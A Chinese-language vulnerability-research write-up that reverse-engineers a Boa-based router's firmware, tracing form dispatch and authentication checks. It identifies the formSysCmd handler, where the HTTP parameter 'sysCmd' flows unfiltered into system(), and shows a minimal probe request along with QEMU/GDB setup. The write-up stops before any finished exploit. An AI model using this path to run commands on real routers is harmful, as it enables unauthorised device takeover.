    root_form = *(_DWORD *)(root_form + 8);
    if ( !root_form )
    {
      v5 = a1;
      return ((int (__fastcall *)(int))send_r_not_found)(v5);
    }
  }
  if ( strncmp(i, "voip_config_load", 16) )
  {
    send_r_request_ok(a1);
    (*(void (__fastcall **)(int, _DWORD, _DWORD))(root_form + 4))(a1, 0, 0);
  }
  else
  {
    (*(void (__fastcall **)(int, _DWORD, _DWORD))(root_form + 4))(a1, 0, 0);
    send_r_request_ok(a1);
  }
  return freeAllTempStr();
}

URL 前缀识别

1
2
3
4
5
v3 = strstr(a1 + 248, "/boaform/admin/");
if (!v3)
    v3 = strstr(a1 + 248, "/boaform/");
if (!v3)
    return send_r_not_found(a1);

确认请求 URI 是 /boaform/...,并定位 form 名称起点。

提取表单名

1
v7 = v3 + strlen(_boaform_admin);

对于/boaform/formLoopBack,就得到v7 = "formLoopBack",接着然后v40 = strlen(v7);得到表单名称长度。

POST 数据预处理

只有*(_DWORD *)(a1 + 36) == 4时才执行:

1
2
3
4
5
6
fstat64(临时文件)
malloc(body长度 + 1)
lseek64(临时文件, 0, SEEK_SET)
read(临时文件, body缓冲区)
末尾补 '\0'
去除末尾 CR/LF

如果 body 中包含:postSecurityFlag,就会:

1
2
3
4
boaGetVar(a1, "postSecurityFlag", "")
strtoul(...)
计算校验值
校验失败 → send_r_bad_request()

这段处理的是 POST body 校验。

表单分发表查找

1
2
3
4
5
6
7
for (i = *root_form; ...)
{
    if (表单名匹配)
        break;

    root_form = root_form->next;
}

节点结构:

  • root_form + 0:表单名称
  • root_form + 4:处理函数地址(handler)
  • root_form + 8:下一个节点

找不到直接爆404not found:

1
2
3
4
5
6
7
8
v3 = strstr(a1 + 248, "/boaform/admin/");
if ( !v3 )
{
    v3 = strstr(v1, "/boaform/");
    if ( !v3 )
        return send_r_not_found(a1); //不是boaform路径直接404
}
v7 = v3 + strlen(_boaform_admin); //拿到表单脚本名字,例如 voip_config_load

如果遍历完 root_form 仍没找到匹配项就是通过send_r_not_found(a1);去爆404not found,也就是函数结束了。

找到了,就是:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
if ( strncmp(i, "voip_config_load", 16) )
{
    send_r_request_ok(a1);
    handler(a1, 0, 0);
}
else
{
    handler(a1, 0, 0);
    send_r_request_ok(a1);
}

再判断是否是特殊表单:strncmp(i, "voip_config_load", 16)

反正就是找到匹配项了就执行send_r_request_ok(a1);这个函数,跟进查看一下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
void __fastcall send_r_request_ok(_DWORD *a1)
{
  int v2; // $a1

  a1[18] = 200;
  if ( ((a1[2] >> 26) & 1) == 0 )
  {
    req_write(a1, "HTTP/1.0 200 OK\r\n");
    print_http_headers(a1);
    if ( !strcmp(a1 + 62, "/favicon.ico")
      || !strcmp(a1 + 62, "/graphics/top_bg.jpg")
      || !strcmp(a1 + 62, "/admin/style.css") )
    {
      req_write(a1, "Pragma: no-cache\r\n");
      req_write(a1, "Cache-Control: no-cache\r\n");
    }
    if ( a1[37] )
    {
      a1[47] = "text/html";
      print_content_type(a1);
      v2 = a1[46];
      if ( v2 )
      {
        req_write(a1, v2);
        req_write(a1, "\r\n");
      }
    }
    else
    {
      print_content_type(a1);
      print_content_length(a1);
      print_last_modified(a1);
    }
    req_write(a1, "\r\n");
  }
}

这个地方其实没啥用,就是构造并发送 HTTP 200 响应头。

表单处理

看回刚刚的那个地方:

有特殊表单和普通表单,两者最后都是构造并发送 HTTP 200 响应头的。

对于strncmp(i, "voip_config_load", 16),要注意 strncmp() 返回 0 表示相等

  • 不等于 voip_config_load

    先发送 200 OK,再调用对应 handler(root_form + 4)

  • 等于 voip_config_load

    先调用 handler,再发送 200 OK

普通表单的流程是:

1
2
3
4
找到表单
→ 发送 200 OK
→ 调用表单处理函数
→ freeAllTempStr()

voip_config_load 是特殊顺序:

1
2
3
4
找到表单
→ 调用处理函数
→ 发送 200 OK
→ freeAllTempStr()

不是 404 就说明找到表单,随后进入这个分支;但 send_r_request_ok() 后面还会通过函数指针调用具体业务 handler(root_form + 4)。

freeAllTempStr()

freeAllTempStr() 只负责释放临时参数/字符串,暂时不用跟。

所以在函数指针调用完成后,程序继续执行handleForm() 函数的统一清理逻辑。

root_form + 4的指向

下面需要确认root_form + 4 实际指向哪个函数。

1
(*(void (__fastcall **)(_DWORD *, _DWORD, _DWORD))(root_form + 4))(a1, 0, 0);

handleForm() 中选中 root_form,按 X 查看交叉引用,确认它在哪里初始化。

点击第一行对全局变量 root_form 本身查看交叉引用:

从这可知handleForm()函数读取全局变量 root_form。

往下看:

1
2
3
4
5
6
7
for ( i = *(_DWORD *)root_form;
      v40 != strlen(i) || memcmp(v7, i, v40);
      i = *(_DWORD *)root_form )
{
    root_form = *(_DWORD *)(root_form + 8);
    ...
}

当前确认的是:

  • root_form + 0:被当作字符串指针读取
  • root_form + 8:被当作下一个节点指针读取

接着看到:

1
2
(*(void (__fastcall **)(int, _DWORD, _DWORD))
    (root_form + 4))(a1, 0, 0);

这说明root_form + 4是被当作函数指针读取并调用的。

对root_form继续用X交叉引用查询:

到这里可知是一共执行过两次交叉引用查询,第一次是对handleform()里的局部变量的交叉引用查询,第二次也就是这一次是全局的查询,还是有区别的。

注意一下哈,这里boaFormDefine+58 sw $v0, (root_form - 0x52C244)($v1)是等价于root_form = v0;的。

  • boaFormDefine+58:这条指令位于函数起始地址 +0x58
  • sw:把一个 32 位值写入内存;
  • $v0:要写入的值;
  • (root_form - 0x52C244)($v1):MIPS 的 GP 相对寻址,目标就是全局变量 root_form

跳转到boaFormDefine函数:

boaFormDefine(int a1, int a2)函数

boaFormDefine()

  • malloc(12) → 分配 3 个 4 字节字段
  • node[0] = a1 → 保存表单名称指针
  • node[1] = a2 → 保存表单处理函数地址
  • node[2] = 0 → 初始化 next 指针
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
if (::root_form)
{
    while (*(DWORD *)(root_form + 8))
        root_form = *(DWORD *)(root_form + 8);

    *(DWORD *)(root_form + 8) = root_form_1;
}
else
{
    ::root_form = (int)root_form_1;
}

这说明:第一个节点到全局 root_form,后续节点 →追加到链表尾部。

此时就能回头解释 handleForm()

1
2
(*(void (__fastcall **)(_DWORD *, _DWORD, _DWORD))
    (root_form + 4))(a1, 0, 0);

前面遗留的一些疑惑点解决了,但当前 boaFormDefine() 只知道参数的用途,不知道参数的实际值,比如a1和a2。

要知道 a1a2 分别传入什么,就必须找谁调用了它。因此对 boaFormDefine()X,查哪些函数调用了 boaFormDefine()。

可以看到:

这些不是 256 个不同的调用函数,而是同一个初始化函数,都与rtl8670_AspInit()有关的。

里面连续注册了很多表单,所以不能随便选某一个 jal 来确定目标。

直接在 Functions 窗口进入rtl8670_AspInit()函数就行。

rtl8670_AspInit()函数

这是 ASP 页面渲染函数注册表,对应网页中的动态标签,当前要找的是同一个 rtl8670_AspInit() 后面的boaFormDefine(...)。

还不少......

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
boaFormDefine("formTcpipLanSetup", formTcpipLanSetup);
boaFormDefine("formWanRedirect", formWanRedirect);
boaFormDefine("formStatus_pon", formStatus_pon);
boaFormDefine("formPonStats", formPonStats);
boaFormDefine("formMultiUserLogin", formMultiUserLogin);
boaFormDefine("formgponConf", formgponConf);
boaFormDefine("formTdDeviceInfo", formTdDeviceInfo);
boaFormDefine("ControlUpVersionConf", formContorlUpVersionConf);
boaFormDefine("formMirror", formMirror);
boaFormDefine("formepon_llid_mac_mapping", formepon_llid_mac_mapping);
boaFormDefine("formeponConf", formeponConf);
boaFormDefine("formVlan", formVlan);
boaFormDefine("formOmciInfo", formOmciInfo);
boaFormDefine("formTR069Config", formTR069Config);
boaFormDefine("formTR069CPECert", formTR069CPECert);
boaFormDefine("formTR069CACert", formTR069CACert);
boaFormDefine("formPortFw", formPortFw);
boaFormDefine("formFilter", formFilter);
boaFormDefine("formDMZ", formDMZ);
boaFormDefine("formICMPlimit", formICMPlimit);
boaFormDefine("formPasswordSetup", formPasswordSetup);
boaFormDefine("formUserPasswordSetup", formUserPasswordSetup);
boaFormDefine("formWanUserPasswordSetup", formWanUserPasswordSetup);
boaFormDefine("formAutoLogoutTime", formAutoLogoutTime);
boaFormDefine("formUpload", formUpload);
boaFormDefine("formSaveConfig", formSaveConfig);
boaFormDefine("formSnmpConfig", formSnmpConfig);
boaFormDefine("formRadvdSetup", formRadvdSetup);
boaFormDefine("formDhcpv6Server", formDhcpv6);
boaFormDefine("formStats", formStats);
boaFormDefine("formRconfig", formRconfig);
boaFormDefine("formSysCmd", formSysCmd);
boaFormDefine("formSysLog", formSysLog);
boaFormDefine("formStatus", formStatus);
boaFormDefine("formLANPortStatus", formLANPortStatus);
boaFormDefine("formStatus_ipv6", formStatus_ipv6);
boaFormDefine("formStatusModify", formDate);
boaFormDefine("formWanMode", formWanMode);
boaFormDefine("formWanEth", formEth);
boaFormDefine("formPPPEdit", formPPPEdit);
boaFormDefine("formIPEdit", formIPEdit);
boaFormDefine("formBrEdit", formBrEdit);
boaFormDefine("formBridging", formBridge);
boaFormDefine("formRefleshFdbTbl", formRefleshFdbTbl);
boaFormDefine("formRouting", formRoute);
boaFormDefine("formIPv6EnableDisable", formIPv6EnableDisable);
boaFormDefine("formIPv6Routing", formIPv6Route);
boaFormDefine("formIPv6RefleshRouteTbl", formRefleshRouteTbl);
boaFormDefine("formFilterV6", formFilterV6);
boaFormDefine("formRefleshRouteTbl", formRefleshRouteTbl);
boaFormDefine("formDhcpServer", formDhcpd);
boaFormDefine("formReflashClientTbl", formReflashClientTbl);
boaFormDefine("formDDNS", formDDNS);
boaFormDefine("formDhcrelay", formDhcrelay);
boaFormDefine("formPing", formPing);
boaFormDefine("formTracert", formTracert);
boaFormDefine("formPing6", formPing6);
boaFormDefine("formTracert6", formTracert6);
boaFormDefine("formMcastVlanMapping", formMcastVlanMapping);
boaFormDefine("formLogin", formLogin);
boaFormDefine("formLogout", formLogout);
boaFormDefine("formLoginMultilang", formLoginMultilang);
boaFormDefine("formReboot", formReboot);
boaFormDefine("formDhcpMode", formDhcpMode);
boaFormDefine("formIgmproxy", formIgmproxy);
boaFormDefine("formUpnp", formUpnp);
boaFormDefine("formMLDProxy", formMLDProxy);
boaFormDefine("formMLDSnooping", formMLDSnooping);
boaFormDefine("formRip", formRip);
boaFormDefine("formACL", formACL);
boaFormDefine("formV6ACL", formV6ACL);
boaFormDefine("formmacBase", formmacBase);
boaFormDefine("formURL", formURL);
boaFormDefine("formDOMAINBLK", formDOMAINBLK);
boaFormDefine("formNtp", formNtp);
boaFormDefine("formQosPolicy", formQosPolicy);
boaFormDefine("formQosRule", formQosRule);
boaFormDefine("formQosRuleEdit", formQosRuleEdit);
boaFormDefine("formQosTraffictl", formQosTraffictl);
boaFormDefine("formQosTraffictlEdit", formQosTraffictlEdit);
boaFormDefine("formWlanRedirect", formWlanRedirect);
boaFormDefine("formWlanSetup", formWlanSetup);
boaFormDefine("formWirelessTbl", formWirelessTbl);
boaFormDefine("formWlAc", formWlAc);
boaFormDefine("formAdvanceSetup", formAdvanceSetup);
boaFormDefine("formWlEncrypt", formWlEncrypt);
boaFormDefine("formWlSiteSurvey", formWlSiteSurvey);
boaFormDefine("formWsc", formWsc);
boaFormDefine("formFt", formFt);
boaFormDefine("formMultiAP", formMultiAP);
boaFormDefine("formCountrystr", formCountrystr);
boaFormDefine("formAdvancedPowerManagement", formAdvancedPowerManagement);
boaFormDefine("formBandSteering", formBandSteering);
boaFormDefine("formDiagTest", formDiagTest);
boaFormDefine("formDosCfg", formDosCfg);
boaFormDefine("formWlanMultipleAP", formWlanMultipleAP);
boaFormDefine("formWirelessVAPTbl", formWirelessVAPTbl);
boaFormDefine("formALGOnOff", formALGOnOff);
boaFormDefine("formVOIPOnOff", formVOIPOnOff);
boaFormDefine("formSamba", formSamba);
boaFormDefine("formVersionMod", formVersionMod);
boaFormDefine("formExportOMCIlog", formExportOMCIlog);
boaFormDefine("formImportOMCIShell", formImportOMCIShell);
boaFormDefine("formDdosCfg", formDdosCfg);
boaFormDefine("formLoopBack", formLoopBack);
boaFormDefine("formSetManualInformReport", formSetManualInformReport);
boaFormDefine("formGetManualInformReportStatus", formGetManualInformReportStatus);
boaFormDefine("formSetScheduledReboot", formSetScheduledReboot);
boaFormDefine("formGetScheduledReboot", formGetScheduledReboot);
boaFormDefine("formUploadConfig", formUploadConfig);
boaFormDefine("formnattype", formnattype);
boaFormDefine("formSetChangeRX", formSetChangeRX);
boaFormDefine("formGetChangeRX", formGetChangeRX);

112 行是普通直接注册,formRefleshRouteTbl 在代码中出现了 2 次

一个个枚举?这得测到猴年马月!对每个 boaFormDefine("name", callback) 记录,因为实在太多了,目前我也没有什么好方法,都是靠表单名 → 回调地址 → 是否有输入源 → 是否有危险 sink这样的一个流程走的,筛个七七八八就可以了,应该不会特别难,AI测建议上高性能的API了。

我这里优先是:

  1. formSysCmd
  2. formPing
  3. formTracert
  4. formUpload
  5. formUploadConfig
  6. formReboot
  7. formLoopBack
  8. formSetScheduledReboot
  9. formWanMode
  10. formRouting

也不是乱蒙,是基于函数名称的初筛顺序做的尝试。

对formSysCmd的初筛案例

formSysCmd() 本身就能判断它是高风险候选,字面意思哈,有sys(system,系统的意思)、有Cmd(windows终端的打开指令)。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
int __fastcall formSysCmd(int a1)
{
  int Var; // $s4
  const char *v3; // $s3
  int v4; // $s1
  unsigned int n1280_1; // $s2
  int n1280; // $t8
  int v7; // $v0
  int n1280_2; // $s4
  _BYTE *v10; // $v0
  int v11; // $v0
  _BYTE v12[4096]; // [sp+20h] [-100Ch] BYREF
  _BYTE v13[12]; // [sp+1020h] [-Ch] BYREF

  if ( first_time == 1 )
  {
    mib_get(102, v13);
    if ( v13[0] == 1 )
      dbg_enable = v13[0];
    first_time = 0;
  }
  Var = boaGetVar(a1, "submit-url", "");
  v3 = (const char *)boaGetVar(a1, "sysCmd", "");
  if ( *(_BYTE *)boaGetVar(a1, "save", "") )
  {
    *(_DWORD *)(a1 + 64) = 0;
    rc4_encry();
    boaWrite(a1, "HTTP/1.0 200 OK\n");
    boaWrite(a1, "Content-Type: application/octet-stream;\n");
    boaWrite(a1, "Content-Disposition: attachment;filename=\"log\" \n");
    boaWrite(a1, "Pragma: no-cache\n");
    boaWrite(a1, "Cache-Control: no-cache\n");
    boaWrite(a1, "\n");
    v4 = fopen64("/tmp/log.txt", "r");
    fseek(v4, 0, 2);
    n1280_1 = ftell(v4);
    fseek(v4, 0, 0);
    while ( n1280_1 )
    {
      n1280 = 1280;
      if ( n1280_1 < 0x501 )
        n1280 = n1280_1;
      n1280_2 = n1280;
      v7 = fread(v12, 1, n1280, v4);
      v12[v7] = 0;
      boaWriteDataNonBlock(a1, v12, v7);
      n1280_1 -= n1280_2;
    }
    return fclose(v4);
  }
  else
  {
    if ( *v3 )
    {
      snprintf(v12, 100, "%s 2>&1 > %s", v3, "/tmp/syscmd.log");
      system(v12);
    }
    v10 = (_BYTE *)boaGetVar(a1, "adsldbg", "");
    if ( *v10 )
    {
      v13[0] = *v10 != 48;
      if ( !mib_set(102, v13) )
      {
        v11 = multilang(2019);
        strcpy(v12, v11);
      }
    }
    return boaRedirect(a1, Var);
  }
}

formSysCmd() 中只有 save 为空时才会走命令执行分支:

1
2
3
4
5
6
7
8
if (*boaGetVar(a1, "save", ""))
{
    // 读取 /tmp/log.txt
}
else
{
    // sysCmd → snprintf → system
}

需要save 参数为空或未提交、sysCmd 参数非空,程序进入命令执行分支:先通过 snprintf() 将用户输入拼接到命令字符串中,再调用 system() 执行该字符串。至此,sysCmd → system() 的数据流已经确认;但是否能够在未认证状态下到达 formSysCmd(),还需要继续分析上层的 auth_authorize()。

对应:

1
2
3
4
5
if (*v3)
{
    snprintf(v12, 100, "%s 2>&1 > %s", v3, "/tmp/syscmd.log");
    system(v12);
}

所以它完成了基本的 source → sink 链:

1
2
3
4
v3 = (const char *)boaGetVar(a1, "sysCmd", "");  // HTTP 参数
...
snprintf(v12, 100, "%s 2>&1 > %s", v3, "/tmp/syscmd.log");
system(v12);                                    // 命令执行

数据流:

1
2
3
4
5
6
7
8
9
POST /boaform/formSysCmd
sysCmd 参数
boaGetVar()
snprintf()
system()

此时请求链就是:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
read_header()
process_header_end()
auth_authorize()
init_form()
handleForm()
formSysCmd()

formSysCmd() 只有在 auth_authorize() 返回成功后才会被调用。接下来需要分析 auth_authorize()函数(之前代审还没留意这个函数,直接跳过了)。

auth_authorize()

这里连着和上一部分的”对formSysCmd的初筛案例“一起的,可以说是和对formSysCmd的初筛一起讲的,顺带分析auth_authorize函数而已。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
int __fastcall auth_authorize(int request_ready)
{
  _DWORD *v2; // $s3
  int v3; // $s0
  int v4; // $s5
  int v5; // $s4
  int n47; // $t8
  int v7; // $s4
  _DWORD *v9; // $s4
  const char *v10; // $v0
  const char *v11; // $v0
  const char *v12; // $v0
  int v13; // $v0
  int v14; // $s3

  v2 = (_DWORD *)dword_52C230;
  v3 = request_ready + 248;
  while ( 1 )
  {
    if ( !v2 )
      return 1;
    v4 = *v2;
    v5 = v2[2];
    if ( !memcmp(v3, *v2, v5) )
      break;
    v2 = (_DWORD *)v2[3];
  }
  n47 = *(char *)(v4 + v5 - 1);
  v7 = request_ready + v5;
  if ( n47 == 47 || *(_BYTE *)(v7 + 248) == 47 || !*(_BYTE *)(v7 + 248) )
  {
    v9 = (_DWORD *)search_login_list(request_ready);
    if ( v9 )
    {
      if ( !is_defined(22)
        && !is_defined(72)
        && !is_defined(48)
        && !is_defined(0)
        && !is_defined(47)
        && !is_defined(25)
        && !is_defined(50)
        && strcmp(v3, "/")
        && !strcmp(*v2, "/")
        && !strcmp(*v9, "index_user.html") )
      {
        send_r_forbidden(request_ready);
        return 0;
      }
      if ( factoryResetingFlag == 1 && (strstr(v3, ".asp") || strstr(v3, ".html") || strstr(v3, "boaform")) )
      {
        boaHeader(request_ready);
        boaWrite(request_ready, "<META HTTP-EQUIV=Refresh CONTENT=\"60; URL=/status.asp\">\n");
        boaWrite(request_ready, "<body><blockquote><h4>\n");
        v10 = (const char *)multilang(2945);
        boaWrite(request_ready, "%s</h4>\n", v10);
        v11 = (const char *)multilang(2946);
        boaWrite(request_ready, "%s<br><br>\n", v11);
        v12 = (const char *)multilang(2947);
        boaWrite(request_ready, "%s\n", v12);
        boaWrite(request_ready, "</blockquote></body>");
        boaFooter(request_ready);
        boaDone(request_ready, 200);
LABEL_51:
        req_flush(request_ready);
        return 0;
      }
      directory_index = *v9;
      if ( strcmp(v3, "/admin/auto_logout.asp") )
      {
        if ( !strstr(v3, ".map") )
          v9[3] = time_counter;
      }
    }
    else
    {
      v13 = search_errlog_list(request_ready);
      v14 = v13;
      if ( v13 && *(int *)(v13 + 4) >= 3 )
      {
        printf("[%s]%d send_r_forbidden_timeout \n", "auth_authorize", 1418);
        send_r_forbidden_timeout(request_ready, *(_DWORD *)(v14 + 8) - time_counter + 60);
        return 0;
      }
      if ( strcmp(v3, "/admin/login.asp") )
      {
        if ( strncmp(v3, "/graphics/", 10) )
        {
          if ( strcmp(v3, "/admin/reset.css") )
          {
            if ( strcmp(v3, "/admin/base.css") )
            {
              if ( strcmp(v3, "/admin/style.css") )
              {
                if ( strcmp(v3, "/admin/code.asp") )
                {
                  if ( strcmp(v3, "/admin/md5.js") )
                  {
                    if ( strcmp(v3, "/admin/rollups/md5.js") )
                    {
                      if ( strcmp(v3, "/admin/php-crypt-md5.js") )
                      {
                        if ( strcmp(v3, "/common.js") )
                        {
                          if ( strcmp(v3, "/td_feature_user_enum.js") )
                          {
                            if ( strcmp(v3, "/admin/code_user.asp") )
                            {
                              if ( strcmp(v3, "/boaform/admin/formLogin") )
                              {
                                if ( strcmp(v3, "/boaform/admin/formLoginMultilang") )
                                {
                                  if ( strcmp(v3, "/admin/LoginFiles/realtek.jpg") )
                                  {
                                    if ( strcmp(v3, "/admin/LoginFiles/locker.gif") )
                                    {
                                      directory_index = 0;
                                      if ( strcmp(v3, "/admin/auto_logout.asp") )
                                      {
                                        if ( !strcmp(v3, "/") )
                                        {
                                          boaRedirectTemp(request_ready, "/admin/login.asp");
                                          return 0;
                                        }
                                        *(_DWORD *)(request_ready + 64) = 0;
                                        *(_DWORD *)(request_ready + 72) = 301;
                                        boaWrite(
                                          request_ready,
                                          "<HTML><HEAD><TITLE>Login</TITLE><SCRIPT>top.location.href=\"/admin/login.asp\""
                                          "</SCRIPT></HEAD>\n"
                                          "<BODY></BODY></HTML>\n");
                                        goto LABEL_51;
                                      }
                                    }
                                  }
                                }
                              }
                            }
                          }
                        }
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
    return 1;
  }
  return 1;
}

auth_authorize() 有两层逻辑:

1
2
3
4
5
6
7
8
第一层:dword_52C230 认证规则链
    ├─ URI 前缀匹配 → 继续检查登录会话
    └─ 没匹配 → 直接 return 1

第二层:未找到登录会话时的硬编码例外路径
    ├─ /admin/login.asp
    ├─ /boaform/admin/formLogin
    └─ 其它静态资源

这里的 v3 是当前请求 URI,例如:/boaform/formSysCmd;如果此时枚举的是formPing,那就是/boaform/formPing了。

再看认证规则遍历:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
v2 = (_DWORD *)dword_52C230;

while (1)
{
    if (!v2)
        return 1;

    v4 = *v2;
    v5 = v2[2];

    if (!memcmp(v3, *v2, v5))
        break;

    v2 = (_DWORD *)v2[3];
}

它先用 memcmp() 判断当前 URI 是否匹配某个认证规则前缀。

若整个规则链都没匹配到:

1
2
if (!v2)
    return 1;

表示该 URI 直接通过认证函数。

下面这段:

1
2
3
if (n47 == '/' ||
    *(BYTE *)(v7 + 248) == '/' ||
    !*(BYTE *)(v7 + 248))

这一步是在确认 URI 前缀匹配是否完整,避免把相似前缀误认为同一路径。(可以跳,没啥用)

对于v9:

1
v9 = search_login_list(request_ready);

  • v9 != 0:找到登录会话,继续检查;
  • v9 == 0:没有登录会话,进入未登录分支。

当前数据流应写成:

1
2
3
4
5
请求 URI
  → auth_authorize()
  → 匹配认证规则
  → search_login_list()
  → 判断是否存在登录会话

下一步进入 search_login_list(request_ready),确认它如何判断登录会话。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
int __fastcall search_login_list(int request_ready)
{
  int v1; // $s1
  int user_login_list; // $s0

  v1 = request_ready + 80;
  for ( user_login_list = ::user_login_list;
        user_login_list && strcmp(v1, user_login_list + 16);
        user_login_list = *(_DWORD *)(user_login_list + 4) )
  {
    ;
  }
  return user_login_list;
}

这个函数逻辑很简单,就是按客户端地址去查找登录会话

1
v1 = request_ready + 80;

从 request 结构中取出客户端地址。根据前面 get_sock_request() 的代码,request_ready + 80 保存的是客户端 IP 字符串。

接着:

1
user_login_list = ::user_login_list;

这是从全局登录会话链表头开始查找。

接着:

1
strcmp(v1, user_login_list + 16)

这是将当前客户端 IP 与登录链表节点 +16 处保存的 IP 比较。

接着:

1
user_login_list = *(DWORD *)(user_login_list + 4)

不匹配就沿着节点 +4 的 next 指针继续遍历。

所以结构大致是:登录节点

  • +4 → next 节点;
  • +16 → 登录客户端 IP。

返回值:

  • 返回非 NULL → 找到了同 IP 的登录记录;
  • 返回 NULL → 没找到登录记录。

找到同 IP 只能说明存在登录列表记录,不等于已经证明认证成功。还要回到 auth_authorize()v9 != 0 分支如何使用这个节点。

下一步回到 auth_authorize(),从这里继续:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
v9 = search_login_list(request_ready);

if ( v9 )
{
    // 已找到登录记录
}
else
{
    // 未找到登录记录
}

重点分析 v9 == 0 分支。

你在伪代码中会看到一连串路径白名单比较:

路径白名单比较

其中v3是request_ready + 248,也就是当前请求 URI。

很显然,那10个表单名似乎都不符合路径白名单的比较认证。

分析到这里我有点卡住了,有点触及我Web安全的知识盲点,这里认证白名单列的是:登录页、静态资源、登录接口。

我们刚刚在测的formSysCmd等是是业务表单名,/boaform/formSysCmd是完整URI。

顺着当前代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
v3 = request_ready + 248;   // 当前 URI
......
v2 = (_DWORD *)dword_52C230;

while (1)
{
    if (!v2)
        return 1;

    if (!memcmp(v3, *v2, v2[2]))
        break;

    v2 = (_DWORD *)v2[3];
}

dword_52C230认证规则链表头,每个节点保存 URI 前缀,然后通过 +3 继续遍历。

那回到问题本身:/boaform/formSysCmd是否匹配认证规则链?

看回上图和代码块中的代码,得知它做的是前缀匹配。要判断 /boaform/formSysCmd,必须知道 *v2v2[2] 的实际值。

解释起来是模糊的,我来举例子:

规则前缀 结果
/boaform/ 匹配
/boaform/formSysCmd 匹配
/boaform/admin/ 不匹配
/admin/ 不匹配

那对于"/boaform/formSysCmd"的前 9 个字符 = "/boaform/",到这里先停一会...

auth_add()/dword_52C230 规则链

提前声明:这有部分内容是不通的,是我踩的坑,可以浅浅浏览。

因为v2 = (_DWORD *)dword_52C230;

所以需要X交叉引用查询一下dword_52C230:

auth_add(int a1, int a2)函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
_DWORD *__fastcall auth_add(int a1, int a2)
{
  _DWORD *i; // $s0
  _DWORD *v5; // $s0
  int v6; // $v0
  int v7; // $t8

  for ( i = (_DWORD *)dword_52C230; ; i = (_DWORD *)i[3] )
  {
    if ( !i )
    {
      v5 = (_DWORD *)malloc(16);
      v5[1] = fopen64(a2, "rt");
      *v5 = strdup(a1);
      v6 = strlen(a1);
      v7 = dword_52C230;
      v5[2] = v6;
      dword_52C230 = (int)v5;
      v5[3] = v7;
      return v5;
    }
    if ( !strcmp(a1, *i) )
      break;
  }
  return 0;
}

但问题是a1和a2不知从哪传进来的,还需要交叉引用找上一个函数:

此时转到了sub_411BD4函数:

1
2
3
4
_DWORD *__fastcall sub_411BD4(int a1, int a2)
{
  return auth_add(a1, a2);
}

继续X引用:

直接跳到数据表了,不是函数调用位置。

1
LOAD:00506408    .word    auth_add_w

到这里我就完全卡死了,因为找不到C伪代码在哪,判断不了/boaform/formSysCmd 是否命中认证规则链。

从小标题“auth_add()/dword_52C230 规则链”到这里,是行不通的,以下才是我认为行得通的法子。

在这卡死后,我倒回头去观察 auth_authorize() 开头的规则遍历:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
v3 = request_ready + 248;   // 当前 URI

for (v2 = dword_52C230; v2; v2 = (_DWORD *)v2[3])
{
    if (!memcmp(v3, *v2, v2[2]))
        break;
}

if (!v2)
    return 1;     // 没匹配认证规则,直接放行

尝试一下动态调试的操作:

  1. auth_authorize() 函数入口下断点;

  2. 用一个不带危险参数的最小请求触发:

    1
    2
    3
    
    POST /boaform/formSysCmd HTTP/1.0
    Host: 127.0.0.1
    Content-Length: 0
    

这里就涉及到QEMU-GDB手法了。

有关命中认证规则链的动态调试操作(知难而退)

对formSysCmd路径的调试案例(手搓)

我这里是wsl2—Ubuntu24.04的环境。

先启动 Boa:

1
2
3
4
5
6
7
sudo chroot "$PWD/rootfs_extracted" \
  /qemu-mips-static \
  -g 1234 \
  /bin/boa \
  -d \
  -p 8080 \
  -c /web_home/httpd
  • -g 1234:等待 GDB 连接;
  • -L rootfs_extracted:使用固件里的 MIPS 动态链接器和库;
  • rootfs_extracted/bin/boa:运行目标程序。

记住要检查下端口是否被占用!

这个终端停住等待连接是正常的,表示正在等待 HTTP 请求,不要关闭。

接着另开一个 WSL 终端:

1
gdb-multiarch ./rootfs_extracted/bin/boa

GDB 中开启调试界面:

1
2
3
4
5
6
set architecture mips
set endian big
set sysroot /home/expl0rer/iot-debug/rootfs_extracted
set auto-solib-add off

target remote :1234
  1. set architecture mips 告诉 GDB,目标程序是 MIPS 架构。 如果不设置,GDB 会按你主机 x86 解析汇编,看到的全是乱码指令。
